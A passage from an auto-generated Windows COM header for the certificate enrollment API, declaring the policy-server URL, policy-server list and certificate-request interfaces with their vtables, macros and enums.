__RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ PolicyServerUrlFlags Flags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AuthFlags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AuthFlags )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509EnrollmentAuthFlags Flags);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Cost )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [retval][out] */ __RPC__out DWORD *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Cost )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ DWORD value);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetStringProperty )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetStringProperty )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ PolicyServerUrlPropertyID propertyId,\n            /* [in] */ __RPC__in BSTR pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *UpdateRegistry )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromRegistry )( \n            __RPC__in IX509PolicyServerUrl * This,\n            /* [in] */ X509CertificateEnrollmentContext context);\n        \n        END_INTERFACE\n    } IX509PolicyServerUrlVtbl;\n\n    interface IX509PolicyServerUrl\n    {\n        CONST_VTBL struct IX509PolicyServerUrlVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PolicyServerUrl_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PolicyServerUrl_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PolicyServerUrl_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PolicyServerUrl_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PolicyServerUrl_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PolicyServerUrl_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PolicyServerUrl_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PolicyServerUrl_Initialize(This,context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,context) ) \n\n#define IX509PolicyServerUrl_get_Url(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Url(This,ppValue) ) \n\n#define IX509PolicyServerUrl_put_Url(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Url(This,pValue) ) \n\n#define IX509PolicyServerUrl_get_Default(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Default(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_Default(This,value)\t\\\n    ( (This)->lpVtbl -> put_Default(This,value) ) \n\n#define IX509PolicyServerUrl_get_Flags(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Flags(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_Flags(This,Flags)\t\\\n    ( (This)->lpVtbl -> put_Flags(This,Flags) ) \n\n#define IX509PolicyServerUrl_get_AuthFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AuthFlags(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_AuthFlags(This,Flags)\t\\\n    ( (This)->lpVtbl -> put_AuthFlags(This,Flags) ) \n\n#define IX509PolicyServerUrl_get_Cost(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Cost(This,pValue) ) \n\n#define IX509PolicyServerUrl_put_Cost(This,value)\t\\\n    ( (This)->lpVtbl -> put_Cost(This,value) ) \n\n#define IX509PolicyServerUrl_GetStringProperty(This,propertyId,ppValue)\t\\\n    ( (This)->lpVtbl -> GetStringProperty(This,propertyId,ppValue) ) \n\n#define IX509PolicyServerUrl_SetStringProperty(This,propertyId,pValue)\t\\\n    ( (This)->lpVtbl -> SetStringProperty(This,propertyId,pValue) ) \n\n#define IX509PolicyServerUrl_UpdateRegistry(This,context)\t\\\n    ( (This)->lpVtbl -> UpdateRegistry(This,context) ) \n\n#define IX509PolicyServerUrl_RemoveFromRegistry(This,context)\t\\\n    ( (This)->lpVtbl -> RemoveFromRegistry(This,context) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PolicyServerUrl_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509PolicyServerListManager_INTERFACE_DEFINED__\n#define __IX509PolicyServerListManager_INTERFACE_DEFINED__\n\n/* interface IX509PolicyServerListManager */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PolicyServerListManager;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"884e204b-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PolicyServerListManager : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PolicyServerUrl **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IX509PolicyServerUrl *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ PolicyServerUrlFlags Flags) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509PolicyServerListManagerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PolicyServerListManager * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PolicyServerListManager * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PolicyServerListManager * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PolicyServerUrl **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ __RPC__in_opt IX509PolicyServerUrl *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IX509PolicyServerListManager * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509PolicyServerListManager * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ PolicyServerUrlFlags Flags);\n        \n        END_INTERFACE\n    } IX509PolicyServerListManagerVtbl;\n\n    interface IX509PolicyServerListManager\n    {\n        CONST_VTBL struct IX509PolicyServerListManagerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PolicyServerListManager_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PolicyServerListManager_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PolicyServerListManager_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PolicyServerListManager_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PolicyServerListManager_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PolicyServerListManager_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PolicyServerListManager_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PolicyServerListManager_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IX509PolicyServerListManager_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IX509PolicyServerListManager_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IX509PolicyServerListManager_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IX509PolicyServerListManager_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IX509PolicyServerListManager_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define IX509PolicyServerListManager_Initialize(This,context,Flags)\t\\\n    ( (This)->lpVtbl -> Initialize(This,context,Flags) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PolicyServerListManager_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0072 */\n/* [local] */ \n\ntypedef \nenum X509RequestType\n    {\tTypeAny\t= 0,\n\tTypePkcs10\t= 1,\n\tTypePkcs7\t= 2,\n\tTypeCmc\t= 3,\n\tTypeCertificate\t= 4\n    } \tX509RequestType;\n\ntypedef \nenum X509RequestInheritOptions\n    {\tInheritDefault\t= 0,\n\tInheritNewDefaultKey\t= 0x1,\n\tInheritNewSimilarKey\t= 0x2,\n\tInheritPrivateKey\t= 0x3,\n\tInheritPublicKey\t= 0x4,\n\tInheritKeyMask\t= 0xf,\n\tInheritNone\t= 0x10,\n\tInheritRenewalCertificateFlag\t= 0x20,\n\tInheritTemplateFlag\t= 0x40,\n\tInheritSubjectFlag\t= 0x80,\n\tInheritExtensionsFlag\t= 0x100,\n\tInheritSubjectAltNameFlag\t= 0x200,\n\tInheritValidityPeriodFlag\t= 0x400\n    } \tX509RequestInheritOptions;\n\ntypedef \nenum InnerRequestLevel\n    {\tLevelInnermost\t= 0,\n\tLevelNext\t= 1\n    } \tInnerRequestLevel;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0072_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0072_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRequest_INTERFACE_DEFINED__\n#define __IX509CertificateRequest_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequest */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequest;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab341-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequest : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Encode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE ResetForEncode( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetInnerRequest( \n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out X509RequestType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnrollmentContext( \n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_UIContextMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_UIContextMessage( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SuppressDefaults( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_SuppressDefaults( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RenewalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_RenewalCertificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ClientId( \n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ClientId( \n            /* [in] */ RequestClientInfoClientId Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CspInformations( \n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_CspInformations( \n            /* [in] */ __RPC__in_opt ICspInformations *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_HashAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_HashAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithm( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequest * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequest * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestVtbl;\n\n    interface IX509CertificateRequest\n    {\n        CONST_VTBL struct IX509CertificateRequestVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequest_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequest_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequest_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequest_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequest_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequest_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequest_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequest_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequest_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequest_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequest_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequest_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequest_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequest_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequest_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequest_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequest_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequest_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequest_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequest_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequest_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequest_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequest_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequest_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequest_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequest_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequest_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequest_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequest_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) 